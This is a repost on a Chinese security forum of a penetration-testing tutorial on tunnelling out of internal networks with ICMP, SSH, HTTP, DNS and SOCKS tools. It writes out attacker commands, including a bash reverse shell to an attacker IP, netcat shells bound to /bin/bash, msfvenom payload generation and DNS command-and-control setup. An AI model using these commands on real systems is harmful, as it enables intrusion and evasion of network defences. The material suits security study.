安全矩阵

 找回密码
 立即注册
搜索
查看: 2252|回复: 0

内网隧道与SOCKS代理思路总结

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-5-28 14:58:17 | 显示全部楼层 |阅读模式
内网隧道与SOCKS代理思路总结anoldcat [url=]乌雲安全[/url] 2021-08-06 09:00
收录于合集
#内网渗透19个
#内网隧道1个
内网中有很多边界设备,比如防火墙。这种边界设备会控制内部主机的对外连接,一般会仅允许某些种类的端口开放或某种数据流量出入
这就意味着我们只能通过有限的选择,来绕过防火墙限制,与目标内网中的机器通信,这就需要隧道了,外观表现为各种端口转发连接,深层次还是隧道的思想
一般按照OSI模型也把隧道按照不同层的协议划分为网络层隧道、传输层隧道、应用层隧道,按部就班(老套路了)
本文只做思路总结,比较简单(懒)没啥演示的空间.......
如果有跨网段不通的地方请脑补自行添加路由
0x00前言
进入内网后,需要判断一下这台机器是否可以出网
常见的几种判断方式:
1.ICMP
俗话说得好,没病ping一下。比如ping www.baidu.com,看是否有来自某IP的回复信息
2.TCP
有nc的话可以试试某个IP端口是否可达  nc -n IP port  (如果是域名形式不要加-n参数,啊当然不加-n也可以接IP的)
前提是测试主机上有nc(netcat)
3.HTTP
用curl工具(一个用url规则的在命令行下工作的文件传输工具,支持文件上传下载),curl支持很多协议和方法,Linux自带,Windows需要下载
curl IP:port   
还是开了有反应,没开没反应
4.DNS
用nslookup 与  dig两个DNS探测命令
nslookup是Windows自带的命令,Linux也能用
编辑
dig则是Linux自带的命令
正在上传…重新上传取消
两者没有指定vps-ip的话,默认用默认用系统配置的
nslookup www.baidu.com vps-ip
dig @vps-ip www.baidu.com
0x01 隧道
网络层隧道
1.IPV6隧道
简单来说是把IPV4作为隧道载体,在IPV4报文中封装IPV6报文。欺负边界设备不(怎么)关注IPV6的数据安全,而IPV6数据是可以在系统层面传递的
这个办法看看就好,实际上有很多限制,双方机器都要支持并使用IPV6,且边界路由有一定的配置,而且即使你设备支持IPV6也可能解析不了这个封装了IPV6报文的IPV4数据包是个什么东西
IPV6隧道目的是在IPV4的大海中连接IPV6孤岛,这也是推IPV6的一个过渡策略(或者双栈)
相关文章:https://www.freebuf.com/articles/web/202901.html
https://blog.csdn.net/a1766855068/article/details/95046923
http://blog.sina.com.cn/s/blog_69c81c3e0102y1l0.html
2.ICMP隧道
当使用不了网络上层隧道的话,可以考虑底层的ICMP隧道
(1)icmpsh
以工具icmpsh为例
在攻击者VPS上
编辑
之后apt-get install python-impacket  安一下类库
sysctl -w net.ipv4.icmp_echo_ignore_all=1     关闭本地系统ICMP应答
cd icmpsh
./icmpsh_m.py <attacker's-IP> <target-IP>  或者进入目录./run.sh运行,输入目标主机的公网IP,开始监听(IP是双方的公网IP)
受害者主机上传攻击机上的icmpsh.exe文件,运行相关命令

           

icmpsh.exe -t <attacker's-IP>   

或者输入攻击机上生成的命令都行
如果成功会在VPS攻击机上收到受害者的shell
(2)PingTunnel
跨平台工具,需要自行安装 http://freshmeat.sourceforge.net/projects/ptunnel/                           
攻击机   防火墙   跳板机A  服务器B
公ip1         公ip2   内ip3  内ip4  
攻击者已经获取A的权限,要访问B,但不能直接访问B;A也不能直接访问B,但是A可以ping通B(于是想到利用ICMP隧道)
则在A上传PingTunnel,执行 ptunnel -x password     (password为连接密码,自定义)
攻击者在攻击机  公ip1  上执行ptunnel -p 公ip2 -lp 1080 -da 内ip4 -dp 3389 -x password    (在访问攻击机本机的1080端口,将服务器B的3389端口数据封
装到ICMP隧道中,以跳板机A(公ip2)为跳板传送,即最后结果是在攻击机上访问本地1080端口即可与服务器B的3389端口建立连接)
-x: 指定ICMP隧道连接的密码
-lp: 指定攻击者要监听的本地TCP端口
-da: 指定要转发的第三方目标机器的IP地址
-dp: 指定要转发的第三方目标的TCP端口
-p: 指定ICMP隧道另一端的机器的IP地址
或者把3389换成别的什么可以利用的端口,例如22,调用ssh连接也行
传输层隧道
3.lcx端口转发
lcx是一个基于socket套接字的端口转发工具,Windows版本为 lcx.exe,Linux版本为portmap
写过socket的都知道,一个隧道有两端,一端监听一端连接
两个版本的下载连接 https://github.com/MrAnonymous-1/lcx
把lcx搞到目标机器上
在目标机器上执行    lcx.exe -slave <attacker's-IP> <attacker's-Port> 127.0.0.1 3389      比如说把目标机器本地的3389端口转发到攻击者VPS 的某端口上
然后在攻击机VPS上运行   lcx.exe -listen <attacker's-Port> <attacker's-Port2>    将本机port端口上监听的数据转到本机port2端口上
啊,然后攻击者在攻击机VPS上mstsc访问127.0.0.1ort2就可以远程访问目标机器了
假如3389被防火墙干了,数据过不去怎么办?
那就把目标机器的3389端口映射到一个防火墙允许的端口呗
目标机器上执行    lcx -tran 53 127.0.0.1 3389    然后上面的命令再来一遍,这次转发53端口到攻击机VPS就好了,53一般不会禁吧
portmap的话  
在目标主机上执行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 <attacker's-IP> -p2 233
将本地22端口的流量转发到攻击机VPS的233端口
然后在攻击机VPS上监听233端口流量转发到2333端口
./portmap -m 2 -p1 233 -h2 127.0.0.1 -p2 2333  
在攻击机VPS上 ssh 用户名@127.0.0.1 -p 2333   就相当于ssh了目标主机
和lcx原理一样的
4.netcat
下载  https://sourceforge.net/projects ... 7.1.tar.gz/download
关于nc的使用方法  参考https://www.freebuf.com/sectool/168661.html这篇文章
nc可以说的功能很多,比如抓banner、扫端口、聊天、上传接受文件、监听端口......不一一详细解读了,主要整理内网隧道说这些没啥意义
很多功能需要双方机器都有nc,那没有nc的机器怎么搞?
这涉及到两个概念:正向shell(客户端连服务器)反向shell(服务器连客户端)
通常使用反向shell,即服务端攻击机监听nc -lvp port,客户端目标主机去连接服务端
常见的bash反向shell,在目标主机上       bash -i >& /dev/tcp/<attacker's IP>/<attacker's listening port> 0>&1
或者目标机器支持其他语言,可以用语言写命令执
实际上建立内网“隧道”也好“端口转发”也好,当跳板这一块非其所长,但也能用,要不怎么叫瑞士军刀
还是借用之前的例子改编一下下
攻击机   防火墙   跳板机A  服务器B
公ip1         公ip2   内ip3  内ip4  
攻击者已经获取A的权限,要访问B,但不能直接访问B;A可以访问B
攻击机VPS上   nc -lvp 2333
跳板机A上  nc -v 公ip1 2333 -c "nc -v 内ip4 3333"
服务器B上  nc -lvp 3333 -e /bin/bash
5.Powercat
顾名思义powershell版nc
下载链接  https://github.com/besimorhino/powercat
使用方法就不说了,只说跳板部分
跳板机A上  powercat -l -v -p 8888 -r tcp:内ip4:9999
攻击机VPS上  nc 公ip2 8888 -vv
服务器B上  powercat -l -v -p 9999 -e cmd.exe
应用层隧道
6.SSH协议
类UNIX的基本都支持ssh协议,由于是加密的协议,也很难区分哪些是合法的哪些是不合法的会话,就非常好
ssh都是  ssh 用户名@ip -p port  这么用的
创建ssh隧道常用的参数有:     
-C:压缩传输,提高传输速度   
-f:将ssh传输转入后台执行,不占用当前的shell   
-N:静默连接,连接后看不到具体会话   
-g:允许远程主机连接本地用于转发的端口   
-L:本地端口转发   
-R:远程端口转发   
-D:动态转发(SOCKS 代理)   
-p:指定ssh端口
攻击机   防火墙   跳板机A  服务器B
公ip1         公ip2   内ip3  内ip4  
攻击者已经获取A的权限,要访问B,但不能直接访问B;A可以访问B
在攻击机VPS上执行  ssh -CfNg -L port(vps端口):内ip4(目标机ip):3389(目标端口) root@公ip2(跳板机)
访问攻击机VPS的port端口,就相当于与目标机器建立了3389连接 攻击机上  rdesktop 127.0.0.1:port
假如攻击机VPS不能访问内网的所有机器,连A也不能访问,那怎么办?
那就让B通过A来访问攻击机VPS
在跳板机上执行  ssh -CfNg -R port(vps端口):内ip4(目标机ip):3389(目标端口) root@公ip1(vps)
则访问攻击机VPS的port端口,即访问目标机器的3389
两个例子两者正好相反,分别是本地转发与远程转发
还有一种叫动态转发
之前的例子都有目标机器有具体端口,啊如果不知道目标的具体情况呢
在攻击机VPS上执行  ssh -CfNg -D port root@公ip2  相当于建立了一个动态的SOCKS代理通道
在攻击机VPS本地浏览器设置好socks代理    127.0.0.1 port
即可通过攻击机VPS的浏览器访问目标内网某 ip
7.HTTP/HTTPS协议
非常常见的  reGeorg
reGeorg-----一款正向代理工具,即把代理脚本扔到跳板机上(当然会被杀软干掉的),然后攻击机VPS去连接跳板机
下载链接   https://github.com/sensepost/reGeorg
取得跳板机权限了之后,需要把tunnel.什么什么上传到跳板机上(别忘了要扔到web目录里啊),这个什么,取决于跳板机支持什么语言环境(aspx,jsp,php,ashx)
编辑
php还分了个nosocket版本的,用tunnel.php还需要改php配置文件所以常用tunnel.nosocket.php版
以PHP环境为例
攻击机   防火墙   跳板机A  服务器B
公ip1         公ip2   内ip3  内ip4  
还是内网,目标机器B不能通外网,但A、B可互访
攻击机VPS上执行    python reGeorgSocksProxy.py -u http://公ip2/tunnel.nosocket.php -p port
即访问跳板机A上传过去的tunnnel.nosocket.php文件,并用reGeorgSocksProxy.py监听本地的port端口
然后要用到reGeorg的好兄弟proxifier与proxychains了,这俩都是可支持socks5(socks4只支持TCP、socks5支持TCP/UDP、身份验证机制)的客户端,一个windows平台
GUI(也可以跨平台),一个Linux平台命令行,考虑到攻击机VPS是kali的话,proxychains+reGeorg用的会比较多
下载链接 :
https://www.proxifier.com
https://github.com/rofl0r/proxychains-ng
http://proxychains.sourceforge.net/
具体使用方法参考下面两篇文章不再复述,都需要在攻击机VPS中手动下载安装配置端口或者配置文件啥的,各自配置方式不同
https://www.cnblogs.com/7-58/p/12932649.html
https://cloud.tencent.com/developer/article/1674107
比如proxychains需要vim /etc/proxychains.conf   ,在最后添加一行,具体配合reGeorg端口:  socks5 127.0.0.1 port
在攻击机VPS本地使用这俩访问目标机服务器B了,类似这种命令具体看情况:     proxychains rdesktop 内ip4
或者干点啥nmap扫描内网都可以
话说如果有meterpreter,run get_local_subnets获取网络接口、run autoroute -p 查看路由、run autoroute -s x.x.x.0/24加个路由,
use auxiliary/server/socks4a,set srvport port ,然后按照上面的步骤改proxychains.conf(注意这回用socks4啊,socks4 IP port),也一样能实现将攻击机VPS
“贴”到跳板机上
(补充一点题外话:警告!!!存在多级网络跳跃的情况的时候,即攻击者通过连主机A再到主机B再到主机C......  注意选择是正向连接目标还是反向连接目标,例如用tcp协议的话,是set payload windows/meterpreter/bind_tcp还是set payload windows/meterpreter/reverse_tcp
目标机器能找到攻击机的话优先选反向reverse,目标机器不能找得到攻击机的话用正向bind
生成后门的时候也注意选择正向后门,例如  msfvenom -p linux/x64/meterpreter/bind_tcp ......还是反向后门 例如 msfvenom -p linux/x64/meterpreter/reverse_tcp......)
8.DNS协议
DNS和ICMP、HTTP\HTTPS一样,属于容易钻空子的协议,一般正常走流量需要这些协议,有隧道的操作空间
DNS解析的时候,如果域名本地查不到,是会向其他根域名服务器查询的
介绍两个工具 :dnscat2iodine
dnscat2是一个命令行工具,有两个组件,分别是C写的客户端和ruby写的服务端,混血儿
客户端安在目标机器中保持运行状态,所以用之前需要编译;服务端需要在一个DNS服务器(VPS)上运行
下载链接  https://github.com/iagox86/dnscat2
dnscat2有两种运行模式:直连模式(客户端直接向指定的IP的DNS服务器发起DNS请求)和中继模式(DNS经历迭代解析之后再去指向指定的DNS服务器),直连比中继要快的,但是直连容易在目标机器请求日志中暴露(有特征‘dnscat’),况且一旦有DNS请求的白名单限制,就只能用中继,申请域名并把dnscat2的服务端指定为受信任的DNS服务器
接下来需要买一台VPS当C&C服务器,买一个可控制的域名,安Linux系统,创建A记录,把自己的域名解析服务器指向VPS服务器,搞几个NS记录,把完整域名的子域名对应的解析也指向域名解析服务器
然后安装服务端
参考文章:https://blog.csdn.net/localhost01/article/details/86591685
服务端需要ruby环境,安好
sudo ruby ./dnscat2.rb 域名 -e open -c 连接密码 --no-cache
直连的话
sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port = 2333,type=TXT --secret=连接密码
监听本机2333端口
之后在目标主机上安装客户端
C语言写的,使用之前需要先编译,用编译好的exe客户端
dnscat2-v0.07-client-win32.exe --dns domain=域名 --secret 连接密码
或者服务端直连那种
dnscat --dns server=dnscat2服务端ip,port= 2333,type=TXT --secret=连接密码
如果目标主机支持powershell2以上版本,可以使用一个叫dnscat2-powershell的脚本
详情参考先知社区  https://xz.aliyun.com/t/2214
之后介绍iodine(碘)
碘原子数53即DNS端口号,也是有客户端和服务端程序区分的,也支持直连和中继两种模式
原理是通过虚拟网卡在服务端和客户端各建立一个局域网,两者通过DNS隧道连接,处于同一个局域网可以互相通信
仍然需要一个可以操控的域名,具体不介绍了
详细可以参考这篇文章  https://www.cnblogs.com/micr067/p/12263337.html
9.SOCKS代理
socks是一种代理服务,可以说是一个升级版的lcx
socks协议中有交互协议,当访问某个网站的时候,浏览器会把被访问目标的URL和服务端口交给socks服务端进行解析,socks服务端解析后代替浏览器去访问目标网站,将结果返回给浏览器
端口转发的话是帮忙访问主机的某个端口,一对一,而socks是不需要知道访问哪个端口,一对多
代表工具:EarthWorm(蚯蚓)
下载连接 https://github.com/rootkiter/EarthWorm
https://codeload.github.com/idlefire/ew/zip/master
所有讲内网穿透的,都绕不开这个工具,两大功能:socks5服务端和端口转发,用于网络穿透
还可以用新版的EW 即Termite    http://rootkiter.com/Termite/
EW六种命令格式:ssocksd  rcsocks  rssocks  lcx_slave  lcx_listen  lcx_tran
普通环境中正向连接用ssocksd,反弹连接 rcsocks rssocks,剩下三个用于多层网络级联
具体使用请参考 https://www.cnblogs.com/bonelee/p/12511101.html
后续还有一些补充,暂时写到这吧
-----------------------------------------------------------
补充:
由于EW早就停更了
于是再推荐两款流行的工具:ngrok和 frp
比较简洁
frp链接:https://github.com/fatedier/frp
也是有客户端服务端的,和EW一样需要自购VPS搭建,具体命令请参考其他师傅们的文章
ngrok国内链接:http://www.ngrok.cc/  或者去官网  https://ngrok.com/
用国内的就好
很方便,不用自己搭服务器了
可以注册账号,花钱买隧道(免费的速度堪忧),傻瓜式操作
如果有隐私方面的考虑不建议使用此方法,可以自建服务器用frp

或者使用nps

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 15:44 , Processed in 0.014744 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表